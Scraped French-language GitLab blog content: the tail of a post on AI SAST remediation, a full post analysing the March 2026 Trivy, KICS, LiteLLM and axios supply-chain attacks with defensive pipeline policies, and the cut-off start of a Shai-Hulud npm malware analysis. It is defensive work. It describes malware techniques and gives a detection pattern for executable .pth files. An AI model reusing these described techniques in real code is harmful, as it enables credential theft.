comprenant :\n   * Les modifications concrètes du code\n   * Un score de confiance\n   * Une explication des changements apportés et leur justification\n\nDans cette démonstration, vous verrez comment GitLab peut automatiquement traiter une vulnérabilité SAST, de la détection jusqu'à la création d'une merge request prête à être examinée. Observez comment l'agent lit le code, génère et valide un correctif, puis ouvre une merge request avec des modifications claires et explicites, afin que les équipes de développement puissent corriger le problème plus rapidement sans être des experts en sécurité.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nComme pour toute suggestion générée par l'IA, il est recommandé d'examiner attentivement la merge request proposée avant de procéder au merge.\n\n## Identifier les secrets réels\nLa détection des secrets n'est utile que si les équipes font confiance aux résultats. Lorsque les rapports regorgent d'identifiants de test, de valeurs de remplacement et de tokens d'exemple, les équipes de développement risquent de perdre du temps à examiner des informations superflues au lieu de corriger les expositions réelles. Cette situation peut ralentir la remédiation des vulnérabilités et réduire la confiance dans le scan.\n\nLa détection des faux positifs pour les secrets aide les équipes à se concentrer sur les secrets importants afin de réduire les risques plus rapidement. Lors de l'exécution sur la branche par défaut, le flow effectue automatiquement les étapes suivantes :\n\n1. Analyse de chaque résultat pour repérer les identifiants de test, les valeurs d'exemple et les secrets factices potentiels\n2. Attribution d'un score de confiance qui indique si le résultat représente un risque réel ou un probable faux positif\n3. Génération d'une explication justifiant pourquoi le secret est considéré comme réel ou comme un faux positif\n4. Ajout d'un badge dans le rapport de vulnérabilités pour que les équipes de développement puissent voir le statut en un seul coup d'œil\n\nLes équipes de développement peuvent également déclencher cette analyse manuellement depuis le rapport de vulnérabilités en sélectionnant **« Vérifier les faux positifs »** sur n'importe quel résultat de détection de secrets, ce qui leur permet d'éliminer les résultats sans risque et de se concentrer plus rapidement sur les véritables secrets.\n\n## Adoptez la sécurité basée sur l'IA dès aujourd'hui\n\nGitLab 18.10 introduit des fonctionnalités couvrant l'ensemble du workflow de gestion des vulnérabilités, de la réduction du bruit lié aux faux positifs dans les scans SAST et la détection des secrets à la génération automatique de merge requests avec des correctifs proposés.\n\nPour découvrir comment la sécurité basée sur l'IA peut réduire le temps de revue et transformer les résultats en correctifs prêts à être fusionnés, [commencez un essai gratuit de GitLab Duo Agent Platform dès maintenant](https://about.gitlab.com/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr).",[793,805,835],{"featured":691,"template":843,"slug":1230},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"category":819,"slug":817,"posts":1232},[1233,1245],{"content":1234,"config":1243},{"title":1235,"description":1236,"body":1237,"category":817,"tags":1238,"date":1239,"heroImage":1240,"authors":1241},"Sécurité des pipelines : quelles leçons tirer des attaques de la chaîne d'approvisionnement de mars 2026 ?","Découvrez comment les politiques de pipeline centralisées peuvent détecter et bloquer les attaques récentes de la chaîne d'approvisionnement.","***Remarque : le produit GitLab n'a utilisé aucune des versions de paquets compromises mentionnées dans cet article.***\n\nEn l'espace de 12 jours, quatre attaques distinctes de la chaîne d'approvisionnement ont démontré que les pipelines d'intégration et de déploiement continus ([CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\")) sont devenus une cible de choix pour les acteurs malveillants les plus sophistiqués.\n\nEntre le 19 et le 31 mars 2026, des acteurs malveillants ont compromis :\n\n* Un scanner de sécurité [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") (Trivy)\n* Un scanner de sécurité d'Infrastructure as Code (IaC) (Checkmarx KICS)\n* Une passerelle de modèles d'IA (LiteLLM)\n* Un client HTTP JavaScript (axios)\n\nChaque attaque ciblait la même surface : le pipeline de build. Cet article décrit [les faits](#trusted-by-millions-compromised-in-minutes), [pourquoi les pipelines peuvent être particulièrement vulnérables](#the-patterns-behind-these-attacks), et comment l'application centralisée de politiques avec GitLab, grâce aux politiques décrites ci-dessous, peut [bloquer, détecter et contenir ces catégories d'attaques](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) avant qu'elles n'atteignent l'environnement de production.\n\n## Des outils adoptés par des millions d'utilisateurs, compromis en quelques minutes\n\nVoici la chronologie des attaques de la chaîne d'approvisionnement :\n\n### 19 mars : le scanner de sécurité Trivy devient un vecteur d'attaque\n\n[Trivy](https://github.com/aquasecurity/trivy) est l'un des scanners de vulnérabilités open source les plus utilisés au monde. C'est l'outil que les équipes exécutent *à l'intérieur de leurs pipelines* pour détecter les vulnérabilités.\n\nLe 19 mars, un groupe d'acteurs malveillants connu sous le nom de TeamPCP [a utilisé des identifiants compromis](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/) pour forcer le push de code malveillant dans 76 des 77 tags de version de l'action GitHub `aquasecurity/trivy-action` et dans les 7 tags de `aquasecurity/setup-trivy`. Simultanément, le groupe a publié un binaire Trivy trojanisé (v0.69.4) sur les canaux de distribution officiels. La charge utile était un logiciel malveillant destiné au vol d'identifiants qui collectait les variables d'environnement, les jetons cloud, les clés SSH et les secrets CI/CD de chaque pipeline exécutant un scan Trivy.\n\nL'incident a été référencé sous le [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) avec un score Common Vulnerability Scoring System (CVSS) de 9,4. L'Agence de cybersécurité et de sécurité des infrastructures (CISA) l'a ajouté au catalogue des vulnérabilités exploitées connues en l'espace de quelques jours.\n\n### 23 mars : Checkmarx KICS tombe à son tour\n\nÀ l'aide d'identifiants volés, le groupe TeamPCP s'est tourné vers le projet open source KICS (Keeping Infrastructure as Code Secure) de Checkmarx. Il a compromis les actions GitHub `ast-github-action` et `kics-github-action`, en [injectant le même logiciel malveillant de vol d'identifiants](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Le 23 mars, entre 12 h 58 et 16 h 50 UTC, tout pipeline CI/CD référençant ces actions exfiltrait silencieusement des données sensibles telles que des clés API, des mots de passe de bases de données, des jetons d'accès cloud, des clés SSH et des identifiants de comptes de service.\n\n### 24 mars : LiteLLM compromis via des identifiants Trivy volés\n\nLiteLLM, un proxy d'API LLM totalisant 95 millions de téléchargements mensuels, a été la cible suivante. Le groupe TeamPCP a [publié des versions avec des portes dérobées](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 et 1.82.8) sur PyPI à l'aide d'identifiants collectés depuis le propre pipeline CI/CD de LiteLLM, qui utilisait Trivy pour le scan.\n\nLe logiciel malveillant ciblant la version 1.82.7 utilisait une charge utile encodée en base64, injectée directement dans `litellm/proxy/proxy_server.py`, qui s'exécutait au moment de l'importation. Celui ciblant la version 1.82.8 utilisait un fichier `.pth`, un mécanisme Python qui s'exécute automatiquement au démarrage de l'interpréteur. La simple installation de LiteLLM suffisait à déclencher la charge utile. Les attaquants chiffraient les données volées (clés SSH, jetons cloud, fichiers .env, portefeuilles de cryptomonnaie) et les exfiltraient vers `models.litellm.cloud`, un domaine à l'apparence légitime.\n\n### 31 mars : le code source d'un assistant de codage d'IA divulgué par une simple erreur d'empaquetage\n\nAlors que l'attaque du groupe TeamPCP était encore en cours, un éditeur de logiciels a publié un paquet npm contenant un fichier de cartes de source de 59,8 Mo, qui référençait le code source TypeScript complet et non minifié de son assistant de codage d'IA, hébergé dans son propre compartiment Cloudflare R2.\n\nLa fuite a exposé 1 900 fichiers TypeScript, plus de 512 000 lignes de code, 44 feature flags cachés, des noms de code de modèles non publiés, ainsi que le prompt système complet, à la vue de tous ceux qui savaient où chercher. Comme l'a expliqué l'ingénieur [Gabriel Anhaia](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo) : « Un seul fichier .npmignore ou champ files mal configuré dans package.json peut tout exposer. »\n\n### 31 mars : axios et un autre cheval de Troie dans la chaîne d'approvisionnement\n\nLe même jour, une attaque sophistiquée [a ciblé le paquet npm axios](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html), un client HTTP JavaScript qui totalise plus de 100 millions de téléchargements hebdomadaires.\n\nUn compte de chargé de maintenance compromis a publié des versions avec des portes dérobées (1.14.1 et 0.30.4). Elles injectaient une dépendance malveillante (`plain-crypto-js@4.2.1`) qui déployait un cheval de Troie d'accès à distance (RAT) capable de fonctionner sur macOS, Windows et Linux. Les deux branches de release ont été touchées en 39 minutes, et le logiciel malveillant était conçu pour s'autodétruire après exécution.\n\n## Les schémas derrière ces attaques\n\nÀ travers ces cinq incidents, trois schémas d'attaque distincts se dégagent, et tous exploitent la confiance implicite que les pipelines CI/CD accordent à leurs données d'entrée.\n\n### Schéma 1 : outils et actions compromis\n\nLa série d'attaques du groupe TeamPCP a exploité une hypothèse fondamentale : celle selon laquelle les outils de sécurité exécutés *à l'intérieur* de votre pipeline sont eux-mêmes dignes de confiance. Lorsqu'un tag d'action GitHub ou une version de paquet PyPI recèle du code malveillant, le pipeline l'exécute avec un accès complet aux secrets de l'environnement, aux identifiants cloud et aux jetons de déploiement. Il n'y a aucune étape de vérification, car le pipeline fait confiance au tag.\n\n**Contrôle recommandé au niveau du pipeline :** épinglez les outils et actions sur des références immuables (SHA de commit ou empreintes d'image) plutôt que sur des tags de version mutables. Lorsque l'épinglage n'est pas envisageable, vérifiez l'intégrité des outils et des dépendances par rapport à des sommes de contrôle ou des signatures. Bloquez l'exécution en cas d'échec de la vérification.\n\n### Schéma 2 : erreurs de configuration de l'empaquetage qui exposent la propriété intellectuelle\n\nUn pipeline de build mal configuré a inclus des artefacts de débogage directement dans le paquet de production. Un fichier `.npmignore` ou un champ files mal configuré dans package.json suffit. Une étape de validation pré-publication devrait systématiquement détecter ce type d'erreur.\n\n**Contrôle recommandé au niveau du pipeline :** avant toute publication de paquet, exécutez des vérifications automatisées qui valident le contenu du paquet par rapport à une liste d'autorisation, signalent les fichiers inattendus (cartes de source, configurations internes, fichiers .env) et bloquent l'étape de publication en cas d'échec.\n\n### Schéma 3 : vulnérabilités dans les dépendances transitives\n\nL'attaque axios ne ciblait pas uniquement les utilisateurs directs d'axios, mais toute personne dont l'arbre de dépendances utilisait la version compromise. Une seule dépendance compromise dans un fichier de verrouillage (« lockfile ») peut ainsi se propager à travers l'ensemble de l'infrastructure de build d'une organisation.\n\n**Contrôle recommandé au niveau du pipeline :** comparez les sommes de contrôle des dépendances avec l'état connu du fichier de verrouillage. Détectez les nouvelles dépendances inattendues ou les changements de version. Bloquez les builds qui introduisent des paquets non vérifiés.\n\n## Comment les politiques d'exécution des pipelines de GitLab répondent à chaque modèle d'attaque\n\nLes politiques d'exécution des pipelines de GitLab ([PEP](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) permettent aux équipes de sécurité et de plateforme d'injecter des jobs CI/CD obligatoires dans chaque pipeline à l'échelle d'une organisation, quel que soit le contenu défini par un développeur dans son fichier `.gitlab-ci.yml`. Les jobs définis dans les PEP ne peuvent pas être ignorés, même avec les directives `[skip ci]` ou `[no_pipeline]`. Les jobs peuvent être exécutés dans des étapes *réservées* (`.pipeline-policy-pre` et `.pipeline-policy-post`) qui encadrent le pipeline du développeur.\n\nNous avons publié des politiques d'exécution des pipelines prêtes à l'emploi pour les trois modèles sous forme de projet open source : [politiques des chaînes d'approvisionnement](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). Ces politiques sont déployables de manière indépendante, et chacune est livrée avec des exemples de violations que vous pouvez utiliser pour les tester. Voici comment chacune fonctionne.\n\n### Cas d'utilisation 1 : prévenir les expositions accidentelles lors de la publication de paquets\n\n**Problème :** un fichier de cartes de source s'est retrouvé dans le paquet npm d'un outil de codage alimenté par l'IA parce que le pipeline de build n'avait pas exécuté de validation au moment de la publication.\n\n**Approche PEP :** nous avons créé une politique d'exécution des pipelines open source spécialement conçue pour cette catégorie d'erreurs : [maintien de la qualité de l'artefact](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\nLa politique injecte des jobs `.pipeline-policy-pre` qui détectent automatiquement le type d'artefact (paquet npm, image Docker ou chart Helm) et inspectent le contenu avant l'exécution de toute étape de publication. Pour les paquets npm, elle effectue trois vérifications :\n\n1. **Liste de blocage des motifs de fichiers.** Analyse les données de sortie du paquet npm à la recherche de cartes de source (.map), répertoires de tests, fichiers de configuration de build, paramètres IDE et répertoires src/.\n2. **Contrôle de la taille du paquet.** Bloque les paquets dépassant 50 Mo, comme le paquet de 59,8 Mo qui a provoqué la fuite de l'outil d'IA.\n3. **Analyse sourceMappingURL.** Détecte les URL externes (le schéma du bucket R2 qui a exposé le code source d'un éditeur majeur d'IA) et les données inline : URI et références à des fichiers locaux intégrés dans les paquets JavaScript.\n\nLorsque des violations sont détectées, le pipeline échoue avec un rapport clair dans les logs du job CI en échec :\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nLa politique ne comporte aucune variable CI configurable par l'utilisateur. Les développeurs ne peuvent ni la désactiver ni la contourner. Les exceptions sont gérées par l'équipe de sécurité au niveau de la politique afin de garantir un processus délibéré et une piste d'audit complète.\n\nLe dépôt inclut un projet de test avec des violations intentionnelles (examples/leaky-npm-package/) pour que vous puissiez voir la politique en action avant de la déployer dans votre organisation. Le fichier [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) comprend un guide de démarrage rapide complet pour la mise en place et le déploiement.\n\n**Ce que cette politique détecte :** n'importe lequel de ces contrôles aurait probablement empêché la fuite du code source de l'éditeur d'IA :\n\n* Le fichier de cartes de source déclenche la liste de blocage des motifs de fichiers.\n* Sa taille de 59,8 Mo déclenche le contrôle de taille.\n* Le sourceMappingURL pointant vers un bucket R2 externe déclenche l'analyse d'URL.\n\n### Cas d'utilisation 2 : détecter la falsification de dépendances et la manipulation de fichiers de verrouillage\n\n**Problème :** l'attaque axios a introduit une dépendance transitive malveillante (`plain-crypto-js`) qui exécutait un RAT à l'installation. Toute personne ayant exécuté un script npm install pendant la fenêtre de compromission a récupéré le cheval de Troie.\n\n**Approche PEP :** la [politique d'intégrité des dépendances](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injecte des jobs .pipeline-policy-pre qui détectent automatiquement l'écosystème de paquets (npm ou Python) et effectuent trois vérifications :\n\n**Pour les projets npm** (déclenchés par `package-lock.json`, `yarn.lock` ou `pnpm-lock.yaml`) :\n\n1. **Intégrité du fichier de verrouillage.** Exécute `npm ci --ignore-scripts`, qui échoue si `node_modules` diffère de ce que spécifie le fichier de verrouillage. Cette vérification permet de détecter les cas où package.json a été mis à jour sans régénérer le fichier de verrouillage, et vérifie également les hashes d'intégrité SRI.\n2. **Analyse des paquets bloqués.** Croise l'arbre complet de dépendances du fichier de verrouillage avec `blocked-packages.yml`, une liste maintenue par GitLab des versions de paquets connues comme compromises. La liste de blocage fournie inclut `axios@1.14.1`, `axios@0.30.4` et `plain-crypto-js@4.2.1`.\n3. **Détection des dépendances non déclarées.** Après l'installation, compare le contenu de node_modules avec le fichier de verrouillage. Tout paquet présent sur le disque mais absent du fichier de verrouillage indique une falsification (par exemple, un script postinstall compromis qui récupère des paquets supplémentaires).\n\n**Pour les projets Python** (déclenchés par `requirements.txt`, `Pipfile.lock`, `poetry.lock` ou `uv.lock`) :\n\n1. **Intégrité du fichier de verrouillage.** Installe dans un environnement virtuel isolé et vérifie que l'installation réussit à partir du fichier de verrouillage.\n2. **Analyse des paquets bloqués.** Même approche de liste de blocage. La liste fournie inclut `litellm==1.82.7` et `litellm==1.82.8`.\n3. **Détection des fichiers .pth.** Analyse les site-packages à la recherche de fichiers `.pth` contenant des motifs de code exécutable (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). C'est exactement le mécanisme qu'utilisait la porte dérobée de LiteLLM.\n\nLorsqu'une violation est détectée :\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nLa politique fonctionne en *mode strict* : toute dépendance absente du fichier de verrouillage validé bloque le pipeline. Si un développeur doit ajouter une dépendance, il effectue un commit du fichier de verrouillage mis à jour. La politique vérifie que la version installée correspond à la version validée. Si un élément apparaît sans avoir été validé (par exemple, une dépendance transitive injectée via un paquet amont compromis), le pipeline est bloqué.\n\n**Ce que cette politique détecte :** l'introduction de `plain-crypto-js` en tant que nouvelle dépendance inédite serait signalée par la vérification des dépendances non déclarées. La version `axios@1.14.1` serait interceptée par l'analyse des paquets bloqués. Le fichier `.pth` de LiteLLM serait détecté par la vérification des fichiers `.pth`. Chaque attaque présente au moins un, et souvent deux, signaux de détection indépendants.\n\n### Cas d'utilisation 3 : détecter et bloquer les outils compromis avant leur exécution\n\n**Problème :** le groupe TeamPCP a remplacé les tags des actions GitHub Trivy et Checkmarx de confiance par des versions malveillantes. Tout pipeline référençant ces tags exécutait un logiciel malveillant de vol d'identifiants.\n\n**Approche PEP :** la [politique d'intégrité des outils](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injecte un job `.pipeline-policy-pre` qui interroge l'API CI Lint de GitLab (ou se rabat sur l'évaluation de `.gitlab-ci.yml`), extrait les références d'images de conteneurs et les compare à une liste d'images approuvées maintenue par l'équipe de sécurité.\n\nLa liste d'autorisation (`approved-images.yml`) prend en charge trois contrôles par image :\n\n**Dépôts approuvés :** seules les images provenant de dépôts figurant sur la liste sont autorisées. Un dépôt inconnu bloque le pipeline.\n\n**Tags autorisés :** seuls des tags spécifiques sont autorisés au sein d'un dépôt approuvé. Cela empêche la dérive vers des versions non testées.\n\n**Tags bloqués :** les versions connues comme compromises peuvent être explicitement bloquées, même si le dépôt est approuvé. La liste d'autorisation fournie bloque les versions `aquasec/trivy:0.69.4` à `0.69.6`, les versions exactes trojanisées par TeamPCP.\n\nLorsqu'une violation est détectée, le pipeline échoue avant l'exécution de tout autre job :\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nLa liste d'autorisation est maintenue via des merge requests sur le projet de politique. Pour ajouter une nouvelle image approuvée, l'équipe de sécurité ouvre une merge request. Pour réagir à une nouvelle compromission, elle ajoute un tag bloqué. Aucune modification de code n'est nécessaire : uniquement du YAML.\n\n**Ce que cette politique détecte :** lorsque des images avec des tags non approuvés sont détectées, la politique compare les noms de dépôts et les tags des images à la liste d'autorisation. Un échec de correspondance bloque le pipeline avant l'exécution de tout scanner, empêchant ainsi l'exfiltration d'identifiants.\n\n*Remarque : en étendant l'exemple ci-dessus, les PEP peuvent être utilisées pour imposer l'épinglage sur des empreintes (digests) plutôt que sur des tags, ce qui protège contre les pushs forcés. Cet exemple illustre un schéma d'application plus élémentaire basé sur les tags.*\n\n## Au-delà des PEP : les défenses de GitLab concernant la chaîne d'approvisionnement\n\nLes politiques d'exécution des pipelines constituent la couche d'application, mais elles fonctionnent au mieux dans le cadre d'une stratégie de défense en profondeur plus large. GitLab offre plusieurs fonctionnalités qui complètent ces politiques pour la protection de la chaîne d'approvisionnement :\n\n### Détection des secrets\n\nLa [détection des secrets de GitLab](https://docs.gitlab.com/user/application_security/secret_detection/) empêche les identifiants d'atterrir dans le dépôt et réduit considérablement ce qu'un outil de pipeline compromis peut collecter. Dans le contexte des attaques de mars 2026 :\n\n* Les identifiants stockés dans les dépôts sont à la fois plus faciles à découvrir pour les attaquants et plus longs à renouveler. L'incident Trivy a montré que même le processus de rotation peut être exploité : la rotation des identifiants d'Aqua Security n'était pas atomique, et l'attaquant a capturé les jetons qui venaient d'être émis avant que les anciens ne soient entièrement révoqués. La détection des secrets de GitLab inclut la révocation automatique des jetons GitLab divulgués et une API partenaire qui notifie les fournisseurs tiers pour qu'ils révoquent leurs identifiants afin d'accélérer la réponse en cas de violation.\n* La détection des secrets, combinée à une gestion appropriée des secrets (jetons à durée de vie limitée, identifiants gérés par un coffre-fort, exposition minimale des secrets dans les pipelines), limite ce qu'un attaquant peut atteindre même lorsqu'un outil de confiance se retourne contre vous.\n\n### Analyse des dépendances via l'analyse de la composition logicielle (SCA)\n\nL'[analyse des dépendances](https://docs.gitlab.com/user/application_security/dependency_scanning/) de GitLab identifie les vulnérabilités connues dans les dépendances des projets en analysant les fichiers de verrouillage et les manifestes. Dans le contexte des attaques de mars 2026 :\n\n* Pour LiteLLM, les versions compromises (1.82.7, 1.82.8) sont répertoriées dans la base de données d'avis de sécurité de GitLab, qui signale automatiquement les projets Python concernés.\n* Pour axios, l'analyse des dépendances identifie les versions compromises (1.14.1, 0.30.4) dans tous les projets de l'organisation et offre aux équipes de sécurité une vue unifiée pour évaluer le rayon d'impact et prioriser le renouvellement des identifiants.\n* Tous les paquets npm compromis par la propagation CanisterWorm de TeamPCP sont également signalés lorsqu'ils sont utilisés.\n\nL'[analyse des conteneurs](https://docs.gitlab.com/user/application_security/container_scanning/) de GitLab détecte les images de conteneurs vulnérables utilisées dans vos déploiements. Pour la compromission de Trivy, l'analyse des conteneurs signale les images Docker Trivy trojanisées (0.69.4 à 0.69.6) lorsqu'elles apparaissent dans votre registre de conteneurs ou vos manifestes de déploiement.\n\n### Politiques d'approbation des merge requests\n\nLes [politiques d'approbation des merge requests](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) peuvent exiger l'approbation de l'équipe de sécurité avant que des modifications apportées aux fichiers de verrouillage de dépendances ou aux configurations CI/CD ne soient fusionnées. Cette approche garantit un point de contrôle humain pour les types de modifications que les attaques de la chaîne d'approvisionnement introduisent habituellement.\n\n### À venir : fonctionnalité Dependency Firewall, registre des artefacts et attestation et vérification SLSA de niveau 3\n\nLes futures fonctionnalités de sécurité de la chaîne d'approvisionnement de GitLab renforcent l'application des politiques sur deux points de contrôle critiques : le registre et le pipeline. La fonctionnalité Dependency Firewall et le registre des artefacts bloqueront les paquets non conformes, tandis que l'attestation Supply chain Levels for Software Artifacts (SLSA) de niveau 3 fournira une preuve cryptographique que les artefacts ont été produits par des pipelines approuvés et n'ont pas été modifiés. Ensemble, ils offriront aux équipes de sécurité un contrôle vérifiable sur ce qui entre dans la chaîne d'approvisionnement logicielle et ce qui en sort.\n\n## Ce que cela signifie pour votre organisation\n\nFace à la montée des menaces assistées par l'IA, les attaques contre les pipelines CI/CD deviennent monnaie courante. La série d'attaques du groupe TeamPCP démontre comment un seul identifiant compromis peut se propager en cascade à travers tout un écosystème d'outils de confiance.\n\nSi votre organisation a utilisé l'un des composants affectés, partez du principe que tous vos secrets de pipeline ont été exposés : renouvelez-les immédiatement et auditez vos systèmes à la recherche de portes dérobées persistantes. Dans tous les cas, le renouvellement régulier des identifiants et l'utilisation de jetons à durée de vie limitée réduisent le rayon d'impact de toute compromission future.\n\nVoici nos recommandations :\n\n1. **Épinglez les dépendances sur des sommes de contrôle, dans la mesure du possible.** Les tags de version mutables (comme ceux détournés par TeamPCP) ne constituent pas une frontière de sécurité. Utilisez des références épinglées par SHA pour tous les [composants CI/CD](https://docs.gitlab.com/ci/components/#manage-dependencies), actions et images de conteneurs.\n2. **Exécutez des vérifications d'intégrité avant l'exécution.** Utilisez les politiques d'exécution des pipelines pour vérifier l'intégrité des outils et des dépendances *avant* l'exécution de tout job de pipeline. C'est l'étape `.pipeline-policy-pre`.\n3. **Auditez ce que vous publiez.** Chaque étape de publication de paquet devrait inclure une validation automatisée du contenu de l'artefact. Les cartes de source, les fichiers d'environnement et les configurations internes ne devraient jamais quitter votre environnement de build. Le projet [politiques des chaînes d'approvisionnement](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) fournit un point de départ prêt à déployer pour les artefacts npm, Docker et Helm.\n4. **Détectez la dérive des dépendances.** Comparez les résolutions de dépendances avec les fichiers de verrouillage validés à chaque exécution de pipeline. Surveillez l'apparition de nouvelles dépendances inattendues.\n5. **Centralisez la gestion des politiques.** Ne comptez pas sur le fait que les développeurs se souviennent d'inclure les vérifications de sécurité. Appliquez-les au niveau du groupe ou de l'instance via des politiques que les développeurs ne peuvent ni supprimer ni contourner.\n6. **Considérez vos outils de sécurité comme des cibles.** Si votre scanner de vulnérabilités, votre outil de test statique de sécurité des applications (SAST) ou votre passerelle d'IA peut être compromis, il le sera. Limitez chaque outil au strict minimum de privilèges nécessaires et vérifiez qu'il ne peut accéder à rien d'autre.\n\n## Protégez vos pipelines avec GitLab\n\nEn deux semaines, des attaquants ont compromis les pipelines de production d'organisations utilisant certains des outils les plus largement adoptés de l'écosystème de développement logiciel.\n\nLa leçon est claire : les pipelines de build nécessitent le même niveau de protection centralisée et pilotée par des politiques que celui que nous appliquons aux réseaux et à l'infrastructure cloud.\n\nLes politiques d'exécution des pipelines de GitLab fournissent cette couche d'application. Elles garantissent que les vérifications de sécurité s'exécutent dans chaque pipeline, dans chaque projet, indépendamment des configurations individuelles des projets. Combinées à l'analyse des dépendances, à la détection des secrets et aux politiques d'approbation des merge requests, elles peuvent bloquer, détecter et contenir la catégorie d'attaques observée en mars 2026.\n\nLe projet [politiques des chaînes d'approvisionnement](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) fournit une politique d'exécution des pipelines opérationnelle qui détecte exactement la catégorie d'erreurs à l'origine de la fuite du code source d'un éditeur majeur d'IA, avec une couverture pour les paquets npm, les images Docker et les charts Helm. Clonez-le, déployez-le dans votre groupe et assurez-vous que tous vos pipelines sont prêts à affronter les attaques de la chaîne d'approvisionnement à venir.\n\nPour tester les politiques de pipeline centralisées, inscrivez-vous pour un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/).\n\n*Cet article de blog contient des « déclarations prospectives » au sens de la section 27A du Securities Act de 1933, tel que modifié, et de la section 21E du Securities Exchange Act de 1934. Bien que nous croyions que les attentes exprimées dans ces déclarations soient raisonnables, elles sont soumises à des risques, incertitudes, hypothèses et autres facteurs connus et inconnus susceptibles d'entraîner des résultats réels sensiblement différents. De plus amples informations sur ces risques et autres facteurs figurent sous la rubrique « Facteurs de risque » dans nos dépôts auprès de la SEC. Nous ne nous engageons pas à mettre à jour ou à réviser ces déclarations après la date de cet article de blog, sauf si la loi l'exige.*",[805,793,1055,835],"2026-04-10","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772630163/akp8ly2mrsfrhsb0liyb.png",[1242],"Grant Hickman",{"featured":691,"template":843,"slug":1244},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":1246,"config":1257},{"tags":1247,"category":817,"date":1249,"heroImage":1250,"title":1251,"description":1252,"authors":1253,"body":1256},[1248,805],"security research","2025-11-25","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLab découvre une attaque généralisée de la chaîne d'approvisionnement npm","Le logiciel malveillant à l'origine de cette attaque comprend un mécanisme d'autodestruction capable de supprimer les données des utilisateurs.",[1254,1255],"Daniel Abeles","Michael Henriksen","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « [Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) ».\n\nLes premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un **mécanisme d'autodestruction** qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.\n\n**Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.**\n\n## Analyse de l'attaque\n\nNotre système de surveillance interne, qui analyse les registres de paquets [open source](https://about.gitlab.com/fr-fr/blog/2025/04/16/what-is-open-source/ \"Qu'est-ce que l'open source ?\") à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :\n\n* Collecte les identifiants de GitHub, npm, AWS, GCP et Azure.\n* Exfiltre les données volées vers des dépôts GitHub contrôlés par les attaquants.\n* Se propage en infectant automatiquement d'autres paquets appartenant aux victimes.\n* **Contient une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure.**\n\nBien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.\n\n## Analyse technique : déroulement de l'attaque\n\n![Diagramme Mermaid qui illustre le déroulement de 